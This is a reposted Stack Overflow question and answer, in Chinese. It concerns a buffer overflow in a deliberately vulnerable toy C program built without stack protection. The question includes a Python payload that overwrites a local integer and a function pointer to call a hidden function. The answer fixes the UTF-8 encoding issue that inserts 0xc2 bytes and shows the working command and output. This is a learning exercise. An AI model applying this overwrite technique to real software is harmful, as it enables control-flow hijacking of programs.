gpt4 book ai didi

python - 缓冲区溢出 - 插入了意外值

转载 作者:太空宇宙 更新时间:2023-11-04 03:13:09 27 4
gpt4 key购买 nike

我正在尝试使用缓冲区溢出来覆盖两个局部变量,以便我可以调用隐藏函数。这是 C 代码。

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
void (*f_ptr)(void) = visible_function;
unsigned int dumb_number = 0x12345678;
char buffer[32];

printf("Provide buffer input: ");
fgets(buffer, 64, stdin);

printf("Dumb number value is 0x%08x.\n", dumb_number);
printf("Buffer is %s\n", buffer);

f_ptr();
}

int main(void)
{
helper_function();

return 0;
}

这是我使用的 Makefile。

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
$(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
-rm -f overflow_ptr.o overflow_ptr
-rm -f *~

运行 nm overflow_ptr 显示隐藏函数的地址如下:

080484a6 t hidden_function

所以我创建了以下负载:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

这应该使 dump_number = 0x87654321 和 f_ptr = 0x080484a6。但是,当我运行这个程序时,输出是:

Provide buffer input: Dumb number value is 0xc2654321.

这让我想知道为什么要插入 c2?我假设这是某种保护措施。如果是这样,有什么办法可以预防吗?我在 Ubuntu 上使用 64 位虚拟机。

最佳答案

您的 Python 可能默认为 UTF-8输入/输出编码而不是 ISO-8859-1 .您可以通过设置环境变量 PYTHONIOENCODING

来覆盖默认的 Python IO 编码

您可以使用此命令运行 overflow_ptr:

echo $(PYTHONIOENCODING="ISO-8859-1" python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")') | ./overflow_ptr

输出应该是:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

如果你要运行这个命令,我怀疑你的系统:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' | od -tx1 -v

输出会是这样的:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

您可能期望的输出是:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

您会注意到,在第一个输出中,所有 >= 0x80 的值都被翻译成多个字节,每个字节都以 0xc2 开头。该字符转换是将意外的 c2 引入您的哑数值的原因。


注意事项:

  • 如果您希望避免 Python 在末尾添加额外的 0x0a,您可以通过以下方式告诉 print 函数消除它:

    print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08",end="")

    通过将 end="" 指定为 print 的参数,您可以消除终止 0x0a(换行)字符。

关于python - 缓冲区溢出 - 插入了意外值,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/54408977/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com